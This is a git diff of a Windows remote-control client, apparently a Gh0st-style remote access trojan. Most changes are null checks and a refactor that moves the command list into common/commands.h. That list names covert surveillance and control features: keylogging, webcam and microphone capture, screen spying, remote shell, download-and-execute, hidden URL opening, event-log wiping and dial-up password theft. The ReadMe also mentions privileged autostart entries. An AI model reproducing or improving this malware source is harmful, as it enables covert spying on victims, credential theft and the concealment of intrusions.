diff --git a/ReadMe.txt b/ReadMe.txt
index d924867..d6986fb 100644
--- a/ReadMe.txt
+++ b/ReadMe.txt
@@ -231,3 +231,8 @@ TestRun在写入开机自启动项时先提升权限,以防止因权限不足
fix: client threads number excceeding bug
fix: #19 the CBuffer causing server crash
fix: showing the wrong host quantity in status bar
+
+2024.12.27
+solve some issues according to code analysis result
+reorg: Move commands to common/commands.h
+此次提交的重点是将重复代码移动到公共目录,减少代码的冗余。
diff --git a/client/Audio.cpp b/client/Audio.cpp
index a0b1d81..cd4b4e8 100644
--- a/client/Audio.cpp
+++ b/client/Audio.cpp
@@ -87,8 +87,10 @@ CAudio::~CAudio()
if (m_bIsWaveOutUsed)
{
waveOutReset(m_hWaveOut);
- for (int i = 0; i < 2; ++i)
- waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
+ for (int i = 0; i < 2; ++i) {
+ if (m_InAudioHeader[i])
+ waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
+ }
waveOutClose(m_hWaveOut);
}
@@ -131,8 +133,10 @@ BOOL CAudio::InitializeWaveIn()
}
waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR));
-
- ResumeThread(m_Thread);
+ if (m_Thread!=NULL)
+ {
+ ResumeThread(m_Thread);
+ }
waveInStart(m_hWaveIn); //¼
m_bIsWaveInUsed = TRUE;
diff --git a/client/Buffer.cpp b/client/Buffer.cpp
index 44b72bf..bd43209 100644
--- a/client/Buffer.cpp
+++ b/client/Buffer.cpp
@@ -66,7 +66,8 @@ ULONG CBuffer::DeAllocateBuffer(ULONG ulLength)
return 0;
}
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
-
+ if (NewBase == NULL)
+ return 0;
ULONG ulv1 = GetBufferLength(); //ԭڴЧ
CopyMemory(NewBase,m_Base,ulv1);
diff --git a/client/CaptureVideo.cpp b/client/CaptureVideo.cpp
index 51c6ac2..2a9edf5 100644
--- a/client/CaptureVideo.cpp
+++ b/client/CaptureVideo.cpp
@@ -12,10 +12,6 @@ CSampleGrabberCB mCB;
CCaptureVideo::CCaptureVideo()
{
- if(FAILED(CoInitialize(NULL)))
- {
- return;
- }
m_pCapture = NULL;
m_pGB = NULL;
m_pMC = NULL;
@@ -23,6 +19,11 @@ CCaptureVideo::CCaptureVideo()
m_pBF = NULL;
m_pGrabber = NULL;
m_bExit = FALSE;
+ m_hWnd = NULL;
+ if (FAILED(CoInitialize(NULL)))
+ {
+ return;
+ }
}
CCaptureVideo::~CCaptureVideo()
diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp
index 560d401..1707c98 100644
--- a/client/ClientDll.cpp
+++ b/client/ClientDll.cpp
@@ -108,6 +108,9 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
g_uPort = uPort;
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
+ if (hThread == NULL) {
+ return;
+ }
#ifdef _DEBUG
WaitForSingleObject(hThread, 200);
#else
@@ -134,14 +137,14 @@ DWORD WINAPI StartClient(LPVOID lParam)
g_bThreadExit = false;
while (!g_bExit)
{
- DWORD dwTickCount = GetTickCount();
+ DWORD dwTickCount = GetTickCount64();
if (!ClientObject->ConnectServer(g_szServerIP, g_uPort))
{
for (int k = 500; !g_bExit && --k; Sleep(10));
continue;
}
//һ
- SendLoginInfo(ClientObject, GetTickCount()-dwTickCount);
+ SendLoginInfo(ClientObject, GetTickCount64()-dwTickCount);
CKernelManager Manager(ClientObject);
bool bIsRun = 0;
diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj
index 0e9fcce..0b78cad 100644
--- a/client/ClientDll_vs2015.vcxproj
+++ b/client/ClientDll_vs2015.vcxproj
@@ -55,7 +55,7 @@
Level3
Disabled
- ./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)
+ $(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)
MultiThreadedDebug
ZLIB_WINAPI;%(PreprocessorDefinitions)
true
@@ -74,7 +74,7 @@
true
true
MultiThreaded
- ./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)
+ $(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)
ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)
true
@@ -110,6 +110,7 @@
+
diff --git a/client/Common.cpp b/client/Common.cpp
index 3b76bd1..445869d 100644
--- a/client/Common.cpp
+++ b/client/Common.cpp
@@ -31,9 +31,10 @@ HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes,
hThread = (HANDLE)CreateThread(SecurityAttributes,
dwStackSize,(LPTHREAD_START_ROUTINE)ThreadProc, &ThreadArgList,
dwCreationFlags, (LPDWORD)ThreadId);
-
- WaitForSingleObject(ThreadArgList.hEvent, INFINITE);
- CloseHandle(ThreadArgList.hEvent);
+ if (ThreadArgList.hEvent != NULL) {
+ WaitForSingleObject(ThreadArgList.hEvent, INFINITE);
+ CloseHandle(ThreadArgList.hEvent);
+ }
return hThread;
}
diff --git a/client/Common.h b/client/Common.h
index 90dbca6..6afd4a9 100644
--- a/client/Common.h
+++ b/client/Common.h
@@ -1,127 +1,7 @@
#pragma once
#include "IOCPClient.h"
-
-enum
-{
- // ļ䷽ʽ
- TRANSFER_MODE_NORMAL = 0x00, // һ,ػԶѾУȡ
- TRANSFER_MODE_ADDITION, //
- TRANSFER_MODE_ADDITION_ALL, // ȫ
- TRANSFER_MODE_OVERWRITE, //
- TRANSFER_MODE_OVERWRITE_ALL, // ȫ
- TRANSFER_MODE_JUMP, //
- TRANSFER_MODE_JUMP_ALL, // ȫ
- TRANSFER_MODE_CANCEL, // ȡ
-
- // ƶ˷
- COMMAND_ACTIVED = 0x00, // ˿Լʼ
- COMMAND_LIST_DRIVE, // гĿ¼
- COMMAND_LIST_FILES, // гĿ¼еļ
- COMMAND_DOWN_FILES, // ļ
- COMMAND_FILE_SIZE, // ϴʱļС
- COMMAND_FILE_DATA, // ϴʱļ
- COMMAND_EXCEPTION, // ䷢쳣Ҫ´
- COMMAND_CONTINUE, //
- COMMAND_STOP, // ֹ
- COMMAND_DELETE_FILE, // ɾļ
- COMMAND_DELETE_DIRECTORY, // ɾĿ¼
- COMMAND_SET_TRANSFER_MODE, // ô䷽ʽ
- COMMAND_CREATE_FOLDER, // ļ
- COMMAND_RENAME_FILE, // ļļ
- COMMAND_OPEN_FILE_SHOW, // ʾļ
- COMMAND_OPEN_FILE_HIDE, // شļ
-
- COMMAND_SCREEN_SPY, // Ļ鿴
- COMMAND_SCREEN_RESET, // ıĻ
- COMMAND_ALGORITHM_RESET, // ı㷨
- COMMAND_SCREEN_CTRL_ALT_DEL, // Ctrl+Alt+Del
- COMMAND_SCREEN_CONTROL, // Ļ
- COMMAND_SCREEN_BLOCK_INPUT, // ˼
- COMMAND_SCREEN_BLANK, // ˺
- COMMAND_SCREEN_CAPTURE_LAYER, //
- COMMAND_SCREEN_GET_CLIPBOARD, // ȡԶ̼
- COMMAND_SCREEN_SET_CLIPBOARD, // Զ̼
-
- COMMAND_WEBCAM, // ͷ
- COMMAND_WEBCAM_ENABLECOMPRESS, // ͷҪH263ѹ
- COMMAND_WEBCAM_DISABLECOMPRESS, // ͷҪԭʼģʽ
- COMMAND_WEBCAM_RESIZE, // ͷֱʣINT͵Ŀ
- COMMAND_NEXT, // һ(ƶѾԻ)
-
- COMMAND_KEYBOARD, // ̼¼
- COMMAND_KEYBOARD_OFFLINE, // ̼¼
- COMMAND_KEYBOARD_CLEAR, // ̼¼
-
- COMMAND_AUDIO, //
-
- COMMAND_SYSTEM, // ϵͳ̣....
- COMMAND_PSLIST, // б
- COMMAND_WSLIST, // б
- COMMAND_DIALUPASS, //
- COMMAND_KILLPROCESS, // رս
- COMMAND_SHELL, // cmdshell
- COMMAND_SESSION, // Ựػע, жأ
- COMMAND_REMOVE, // жغ
- COMMAND_DOWN_EXEC, // - ִ
- COMMAND_UPDATE_SERVER, // - ظ
- COMMAND_CLEAN_EVENT, // - ϵͳ־
- COMMAND_OPEN_URL_HIDE, // - شҳ
- COMMAND_OPEN_URL_SHOW, // - ʾҳ
- COMMAND_RENAME_REMARK, // ע
- COMMAND_REPLAY_HEARTBEAT, // ظ
- COMMAND_SERVICES, //
- COMMAND_REGEDIT,
- COMMAND_TALK, // ʱϢ֤
-
- // ˷ıʶ
- TOKEN_AUTH = 100, // Ҫ֤
- TOKEN_HEARTBEAT, //
- TOKEN_LOGIN, // ߰
- TOKEN_DRIVE_LIST, // б
- TOKEN_FILE_LIST, // ļб
- TOKEN_FILE_SIZE, // ļСļʱ
- TOKEN_FILE_DATA, // ļ
- TOKEN_TRANSFER_FINISH, //
- TOKEN_DELETE_FINISH, // ɾ
- TOKEN_GET_TRANSFER_MODE, // õļ䷽ʽ
- TOKEN_GET_FILEDATA, // Զ̵õļ
- TOKEN_CREATEFOLDER_FINISH, // ļ
- TOKEN_DATA_CONTINUE, //
- TOKEN_RENAME_FINISH, //
- TOKEN_EXCEPTION, // 쳣
-
- TOKEN_BITMAPINFO, // Ļ鿴BITMAPINFO
- TOKEN_FIRSTSCREEN, // Ļ鿴ĵһͼ
- TOKEN_NEXTSCREEN, // Ļ鿴һͼ
- TOKEN_CLIPBOARD_TEXT, // Ļ鿴ʱͼ
-
- TOKEN_WEBCAM_BITMAPINFO, // ͷBITMAPINFOHEADER
- TOKEN_WEBCAM_DIB, // ͷͼ
-
- TOKEN_AUDIO_START, // ʼ
- TOKEN_AUDIO_DATA, //
-
- TOKEN_KEYBOARD_START, // ̼¼ʼ
- TOKEN_KEYBOARD_DATA, // ̼¼
-
- TOKEN_PSLIST, // б
- TOKEN_WSLIST, // б
- TOKEN_DIALUPASS, //
- TOKEN_SHELL_START, // Զն˿ʼ
- TOKEN_SERVERLIST, // б
- COMMAND_SERVICELIST, // ˢ·б
- COMMAND_SERVICECONFIG, // ˷ıʶ
- TOKEN_TALK_START, // ʱϢʼ
- TOKEN_TALKCMPLT, // ʱϢط
- TOKEN_REGEDIT = 200, // ע
- COMMAND_REG_FIND, //ע ʶ
- TOKEN_REG_KEY,
- TOKEN_REG_PATH,
- COMMAND_BYE, // ض˳
- SERVER_EXIT, // ض˳
-};
-
+#include "common/commands.h"
typedef struct _THREAD_ARG_LIST
{
diff --git a/client/FileManager.cpp b/client/FileManager.cpp
index 71659e3..290d920 100644
--- a/client/FileManager.cpp
+++ b/client/FileManager.cpp
@@ -251,8 +251,8 @@ UINT CFileManager::SendDriveList()
unsigned __int64 HDAmount = 0;
unsigned __int64 HDFreeSpace = 0;
- unsigned long AmntMB = 0; // ܴС
- unsigned long FreeMB = 0; // ʣռ
+ unsigned __int64 AmntMB = 0; // ܴС
+ unsigned __int64 FreeMB = 0; // ʣռ
DWORD dwOffset = 1;
for (; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1)
@@ -260,7 +260,7 @@ UINT CFileManager::SendDriveList()
memset(FileSystem, 0, sizeof(FileSystem));
// õļϵͳϢС
GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH);
- SHFILEINFO sfi;
+ SHFILEINFO sfi = {};
SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
int nTypeNameLen = lstrlen(sfi.szTypeName) + 1;
@@ -312,6 +312,10 @@ UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
WIN32_FIND_DATA FindFileData;
lpList = (BYTE *)LocalAlloc(LPTR, nBufferSize);
+ if (lpList==NULL)
+ {
+ return 0;
+ }
wsprintf(strPath, "%s\\*.*", lpszDirectory);
hFile = FindFirstFile(strPath, &FindFileData);
@@ -338,6 +342,8 @@ UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
{
nBufferSize += MAX_PATH * 2;
lpList = (BYTE *)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT|LMEM_MOVEABLE);
+ if (lpList == NULL)
+ continue;
}
pszFileName = FindFileData.cFileName;
if (strcmp(pszFileName, ".") == 0 || strcmp(pszFileName, "..") == 0)
@@ -427,6 +433,10 @@ UINT CFileManager::SendFileSize(LPCTSTR lpszFileName)
// ݰļ
int nPacketSize = lstrlen(lpszFileName) + 10;
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
+ if (bPacket==NULL)
+ {
+ return 0;
+ }
memset(bPacket, 0, nPacketSize);
bPacket[0] = TOKEN_FILE_SIZE;
@@ -467,6 +477,8 @@ UINT CFileManager::SendFileData(LPBYTE lpBuffer)
DWORD nNumberOfBytesRead = 0;
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, MAX_SEND_BUFFER);
+ if (lpPacket == NULL)
+ return -1;
// Token, Сƫƣļ
lpPacket[0] = TOKEN_FILE_DATA;
memcpy(lpPacket + 1, pFileSize, sizeof(FILESIZE));
@@ -637,7 +649,7 @@ void CFileManager::GetFileData()
// 1ֽToken,ֽƫƸλֽƫƵλ
BYTE bToken[9];
- DWORD dwCreationDisposition; // ļʽ
+ DWORD dwCreationDisposition = 0; // ļʽ
memset(bToken, 0, sizeof(bToken));
bToken[0] = TOKEN_DATA_CONTINUE;
diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp
index 776fd2d..0aba840 100644
--- a/client/IOCPClient.cpp
+++ b/client/IOCPClient.cpp
@@ -96,7 +96,9 @@ inline string GetIPAddress(const char *hostName)
for (int i = 0; host->h_addr_list[i]; ++i)
printf("ȡĵ%dIP: %s\n", i+1, inet_ntoa(*(struct in_addr*)host->h_addr_list[i]));
#endif
- return host ? inet_ntoa(*(struct in_addr*)host->h_addr_list[0]) : "";
+ if (host == NULL || host->h_addr_list == NULL)
+ return "";
+ return host->h_addr_list[0] ? inet_ntoa(*(struct in_addr*)host->h_addr_list[0]) : "";
}
BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
@@ -153,7 +155,7 @@ BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
{
IOCPClient* This = (IOCPClient*)lParam;
- char szBuffer[MAX_RECV_BUFFER] = {0};
+ char* szBuffer = new char[MAX_RECV_BUFFER];
fd_set fd;
const struct timeval tm = { 2, 0 };
@@ -180,9 +182,9 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
}
else if (iRet > 0)
{
- memset(szBuffer, 0, sizeof(szBuffer));
- int iReceivedLength = recv(This->m_sClientSocket,
- szBuffer,sizeof(szBuffer), 0); //ض˷
+ memset(szBuffer, 0, MAX_RECV_BUFFER);
+ int iReceivedLength = recv(This->m_sClientSocket,
+ szBuffer, MAX_RECV_BUFFER, 0); //ض˷
if (iReceivedLength <= 0)
{
int a = GetLastError();
@@ -205,6 +207,7 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
}
This->m_bWorkThread = S_STOP;
This->m_bIsRunning = FALSE;
+ delete[] szBuffer;
return 0xDEAD;
}
diff --git a/client/IOCPClient.h b/client/IOCPClient.h
index cf0eca6..5fdf5c3 100644
--- a/client/IOCPClient.h
+++ b/client/IOCPClient.h
@@ -46,6 +46,10 @@ public:
return m_bIsRunning;
}
+ void SetExit() {
+ m_bIsRunning = FALSE;
+ }
+
BOOL m_bIsRunning;
BOOL m_bConnected;
diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp
index 7b7de05..6df4dd2 100644
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -164,6 +164,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
default:
{
OutputDebugStringA("======> Error operator\n");
+ char buffer[256] = {};
+ strncpy(buffer, (const char*)(szBuffer+1), sizeof(buffer));
+ printf("!!! Unknown command: %s\n", buffer);
if (m_ulThreadCount != -1) {
delete m_hThread[m_ulThreadCount].p;
m_hThread[m_ulThreadCount].p = NULL;
diff --git a/client/KernelManager.h b/client/KernelManager.h
index 2c78dd7..3736993 100644
--- a/client/KernelManager.h
+++ b/client/KernelManager.h
@@ -12,7 +12,7 @@
#include "Manager.h"
#include
-#define MAX_THREADNUM 0x1000
+#define MAX_THREADNUM 0x1000>>2
// ߳Ϣṹ, 3Ա: ״̬(run)(h)ͨѶͻ(p).
struct ThreadInfo
diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp
index 6f6bb16..efa8132 100644
--- a/client/LoginServer.cpp
+++ b/client/LoginServer.cpp
@@ -17,8 +17,16 @@ std::string getSystemName()
//жǷΪwin8.1win10
typedef void(__stdcall*NTPROC)(DWORD*, DWORD*, DWORD*);
HINSTANCE hinst = LoadLibrary("ntdll.dll");
+ if (hinst == NULL)
+ {
+ return vname;
+ }
DWORD dwMajor, dwMinor, dwBuildNumber;
NTPROC proc = (NTPROC)GetProcAddress(hinst, "RtlGetNtVersionNumbers");
+ if (proc==NULL)
+ {
+ return vname;
+ }
proc(&dwMajor, &dwMinor, &dwBuildNumber);
if (dwMajor == 6 && dwMinor == 3) //win 8.1
{
diff --git a/client/RegisterOperation.cpp b/client/RegisterOperation.cpp
index 1e98924..f24c9f3 100644
--- a/client/RegisterOperation.cpp
+++ b/client/RegisterOperation.cpp
@@ -88,6 +88,9 @@ char* RegisterOperation::FindPath()
DWORD DataSize=KeyCount*KeySize+Size+1; //[TOKEN_REG_PATH][2 11 ccccc\0][11][11]
szBuffer=(char*)LocalAlloc(LPTR, DataSize);
+ if (szBuffer == NULL) {
+ return NULL;
+ }
ZeroMemory(szBuffer,DataSize);
szBuffer[0]=TOKEN_REG_PATH; //ͷ
REGMSG msg; //ͷ
@@ -148,13 +151,20 @@ char* RegisterOperation::FindKey()
DWORD size=sizeof(REGMSG)+
sizeof(BYTE)*NameCount+ NameSize*NameCount+DataSize*NameCount+10;
szBuffer = (char*)LocalAlloc(LPTR, size);
+ if (szBuffer==NULL)
+ {
+ return NULL;
+ }
ZeroMemory(szBuffer,size);
szBuffer[0]=TOKEN_REG_KEY; //ͷ
memcpy(szBuffer+1,(void*)&msg,msgsize); //ͷ
szValueName=(char *)malloc(NameSize);
szValueDate=(LPBYTE)malloc(DataSize);
-
+ if (szValueName==NULL||szValueDate == NULL)
+ {
+ return NULL;
+ }
char *szTemp=szBuffer+msgsize+1;
for(dwIndex=0;dwIndexGetBIData(), ulLength - 1);
@@ -180,6 +181,8 @@ VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength)
if (hGlobal != NULL) {
LPTSTR szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal);
+ if (szClipboardVirtualAddress == NULL)
+ return;
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
GlobalUnlock(hGlobal);
SetClipboardData(CF_TEXT, hGlobal);
diff --git a/client/ServicesManager.cpp b/client/ServicesManager.cpp
index dd4a9b7..4c38ea6 100644
--- a/client/ServicesManager.cpp
+++ b/client/ServicesManager.cpp
@@ -65,7 +65,8 @@ LPBYTE CServicesManager::GetServicesList()
&dwResumeHandle);
szBuffer = (LPBYTE)LocalAlloc(LPTR, MAX_PATH);
-
+ if (szBuffer == NULL)
+ return NULL;
szBuffer[0] = TOKEN_SERVERLIST;
dwOffset = 1;
for (unsigned long i = 0; i < dwServicesCount; ++i) // Display The Services,ʾеķ
@@ -82,7 +83,8 @@ LPBYTE CServicesManager::GetServicesList()
}
ServicesInfor = (LPQUERY_SERVICE_CONFIG)LocalAlloc(LPTR,4*1024);
-
+ if (ServicesInfor == NULL)
+ continue;
QueryServiceConfig(hServices,ServicesInfor,4*1024,&dwResumeHandle);
//ѯ
@@ -120,7 +122,8 @@ LPBYTE CServicesManager::GetServicesList()
if (LocalSize(szBuffer) < (dwOffset + dwLength))
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength),
LMEM_ZEROINIT|LMEM_MOVEABLE);
-
+ if (szBuffer == NULL)
+ continue;
memcpy(szBuffer + dwOffset, ServicesStatus[i].lpDisplayName,
lstrlen(ServicesStatus[i].lpDisplayName) + 1);
dwOffset += lstrlen(ServicesStatus[i].lpDisplayName) + 1;//ʵ
diff --git a/client/SystemManager.cpp b/client/SystemManager.cpp
index 2bf10d8..01dbf3f 100644
--- a/client/SystemManager.cpp
+++ b/client/SystemManager.cpp
@@ -78,7 +78,8 @@ LPBYTE CSystemManager::GetProcessList()
HMODULE hModules = NULL; //еһģľ
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); //ʱһ»
-
+ if (szBuffer == NULL)
+ return NULL;
szBuffer[0] = TOKEN_PSLIST; //עͷ
dwOffset = 1;
@@ -263,12 +264,15 @@ BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //Ҫ
//̹ͬһעķ͵ض˵ݽṹ
if (szBuffer == NULL)
szBuffer = (LPBYTE)LocalAlloc(LPTR, 1); //ʱ仺
-
+ if (szBuffer == NULL)
+ return FALSE;
//[Ϣ][4Notepad.exe\0]
dwLength = sizeof(DWORD) + lstrlen(szTitle) + 1;
dwOffset = LocalSize(szBuffer); //1
//¼㻺С
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
+ if (szBuffer == NULL)
+ return FALSE;
//memcpyܿݽṹΪ hwnd+ڱ+0
memcpy((szBuffer+dwOffset),&hWnd,sizeof(DWORD));
memcpy(szBuffer + dwOffset + sizeof(DWORD), szTitle, lstrlen(szTitle) + 1);
diff --git a/client/TestRun_vs2015.vcxproj b/client/TestRun_vs2015.vcxproj
index 739e00c..49db2a5 100644
--- a/client/TestRun_vs2015.vcxproj
+++ b/client/TestRun_vs2015.vcxproj
@@ -57,6 +57,7 @@
MultiThreadedDebug
true
false
+ $(SolutionDir);%(AdditionalIncludeDirectories)
true
@@ -72,6 +73,7 @@
MultiThreaded
true
_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)
+ $(SolutionDir);%(AdditionalIncludeDirectories)
true
diff --git a/client/VideoManager.cpp b/client/VideoManager.cpp
index d420137..bb76f07 100644
--- a/client/VideoManager.cpp
+++ b/client/VideoManager.cpp
@@ -55,11 +55,11 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
while (This->m_bIsWorking)
{
// ٶ
- int span = sleep-(GetTickCount() - dwLastScreen);
+ int span = sleep-(GetTickCount64() - dwLastScreen);
Sleep(span > 0 ? span : 1);
if (span < 0)
printf("SendScreen Span = %d ms\n", span);
- dwLastScreen = GetTickCount();
+ dwLastScreen = GetTickCount64();
if(FALSE == This->SendNextScreen())
break;
}
diff --git a/client/dxtrans.h b/client/dxtrans.h
index 8df2ff7..8dc47e3 100644
--- a/client/dxtrans.h
+++ b/client/dxtrans.h
@@ -1655,7 +1655,7 @@ public:
BYTE Green;
BYTE Red;
BYTE Alpha;
- DXBASESAMPLE() {}
+ DXBASESAMPLE():Blue(0), Green(0), Red(0), Alpha(0) {}
DXBASESAMPLE(const BYTE alpha, const BYTE red, const BYTE green, const BYTE blue) :
Alpha(alpha),
Red(red),
diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj
index e45fc23..4013bf7 100644
--- a/client/ghost_vs2015.vcxproj
+++ b/client/ghost_vs2015.vcxproj
@@ -55,7 +55,7 @@
Level3
Disabled
- ./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)
+ $(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)
MultiThreadedDebug
_CONSOLE;ZLIB_WINAPI;%(PreprocessorDefinitions)
true
@@ -77,7 +77,7 @@
true
true
MultiThreaded
- ./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)
+ $(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)
_CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)
true
@@ -115,6 +115,7 @@
+
diff --git a/client/test.cpp b/client/test.cpp
index 7b9edd9..bfe4e18 100644
--- a/client/test.cpp
+++ b/client/test.cpp
@@ -2,6 +2,7 @@
#include
#include
#include
+#include "common/commands.h"
typedef void (*StopRun)();
@@ -18,12 +19,7 @@ IsStoped bExit = NULL;
BOOL status = 0;
-struct CONNECT_ADDRESS
-{
- DWORD dwFlag;
- char szServerIP[MAX_PATH];
- int iPort;
-}g_ConnectAddress={0x1234567,"",0};
+CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN,"",0 };
//Ȩ
void DebugPrivilege()
@@ -119,17 +115,13 @@ int main(int argc, const char *argv[])
{
char *ip = g_ConnectAddress.szServerIP;
int &port = g_ConnectAddress.iPort;
- if (0 == strlen(ip))
- {
- strcpy(p+1, "settings.ini");
- if (_access(path, 0) == -1){
- ip = argc > 1 ? argv[1] : "127.0.0.1";
- port = argc > 2 ? atoi(argv[2]) : 19141;
- }
- else {
- GetPrivateProfileStringA("settings", "localIp", "yuanyuanxiang.oicp.net", ip, _MAX_PATH, path);
- port = GetPrivateProfileIntA("settings", "ghost", 19141, path);
- }
+ strcpy(p + 1, "settings.ini");
+ if (_access(path, 0) == -1) { // ļ: ȴӲȡֵǴg_ConnectAddressȡֵ.
+ ip = argc > 1 ? argv[1] :(strlen(ip)==0 ? "127.0.0.1" : ip);
+ port = argc > 2 ? atoi(argv[2]) : (port==0 ? 6543: port);
+ } else {
+ GetPrivateProfileStringA("settings", "localIp", g_ConnectAddress.szServerIP, ip, _MAX_PATH, path);
+ port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.iPort, path);
}
printf("[server] %s:%d\n", ip, port);
do
diff --git a/common/commands.h b/common/commands.h
new file mode 100644
index 0000000..9926f1a
--- /dev/null
+++ b/common/commands.h
@@ -0,0 +1,136 @@
+#pragma once
+
+#ifndef _MAX_PATH
+#define _MAX_PATH 260
+#endif
+
+#define FLAG_FINDEN 0x1234567
+
+// öб
+enum
+{
+ // ļ䷽ʽ
+ TRANSFER_MODE_NORMAL = 0x00, // һ,ػԶѾУȡ
+ TRANSFER_MODE_ADDITION, //
+ TRANSFER_MODE_ADDITION_ALL, // ȫ
+ TRANSFER_MODE_OVERWRITE, //
+ TRANSFER_MODE_OVERWRITE_ALL, // ȫ
+ TRANSFER_MODE_JUMP, //
+ TRANSFER_MODE_JUMP_ALL, // ȫ
+ TRANSFER_MODE_CANCEL, // ȡ
+
+ // ƶ˷
+ COMMAND_ACTIVED = 0x00, // ˿Լʼ
+ COMMAND_LIST_DRIVE, // гĿ¼
+ COMMAND_LIST_FILES, // гĿ¼еļ
+ COMMAND_DOWN_FILES, // ļ
+ COMMAND_FILE_SIZE, // ϴʱļС
+ COMMAND_FILE_DATA, // ϴʱļ
+ COMMAND_EXCEPTION, // ䷢쳣Ҫ´
+ COMMAND_CONTINUE, //
+ COMMAND_STOP, // ֹ
+ COMMAND_DELETE_FILE, // ɾļ
+ COMMAND_DELETE_DIRECTORY, // ɾĿ¼
+ COMMAND_SET_TRANSFER_MODE, // ô䷽ʽ
+ COMMAND_CREATE_FOLDER, // ļ
+ COMMAND_RENAME_FILE, // ļļ
+ COMMAND_OPEN_FILE_SHOW, // ʾļ
+ COMMAND_OPEN_FILE_HIDE, // شļ
+
+ COMMAND_SCREEN_SPY, // Ļ鿴
+ COMMAND_SCREEN_RESET, // ıĻ
+ COMMAND_ALGORITHM_RESET, // ı㷨
+ COMMAND_SCREEN_CTRL_ALT_DEL, // Ctrl+Alt+Del
+ COMMAND_SCREEN_CONTROL, // Ļ
+ COMMAND_SCREEN_BLOCK_INPUT, // ˼
+ COMMAND_SCREEN_BLANK, // ˺
+ COMMAND_SCREEN_CAPTURE_LAYER, //
+ COMMAND_SCREEN_GET_CLIPBOARD, // ȡԶ̼
+ COMMAND_SCREEN_SET_CLIPBOARD, // Զ̼
+
+ COMMAND_WEBCAM, // ͷ
+ COMMAND_WEBCAM_ENABLECOMPRESS, // ͷҪH263ѹ
+ COMMAND_WEBCAM_DISABLECOMPRESS, // ͷҪԭʼģʽ
+ COMMAND_WEBCAM_RESIZE, // ͷֱʣINT͵Ŀ
+ COMMAND_NEXT, // һ(ƶѾԻ)
+
+ COMMAND_KEYBOARD, // ̼¼
+ COMMAND_KEYBOARD_OFFLINE, // ̼¼
+ COMMAND_KEYBOARD_CLEAR, // ̼¼
+
+ COMMAND_AUDIO, //
+
+ COMMAND_SYSTEM, // ϵͳ̣....
+ COMMAND_PSLIST, // б
+ COMMAND_WSLIST, // б
+ COMMAND_DIALUPASS, //
+ COMMAND_KILLPROCESS, // رս
+ COMMAND_SHELL, // cmdshell
+ COMMAND_SESSION, // Ựػע, жأ
+ COMMAND_REMOVE, // жغ
+ COMMAND_DOWN_EXEC, // - ִ
+ COMMAND_UPDATE_SERVER, // - ظ
+ COMMAND_CLEAN_EVENT, // - ϵͳ־
+ COMMAND_OPEN_URL_HIDE, // - شҳ
+ COMMAND_OPEN_URL_SHOW, // - ʾҳ
+ COMMAND_RENAME_REMARK, // ע
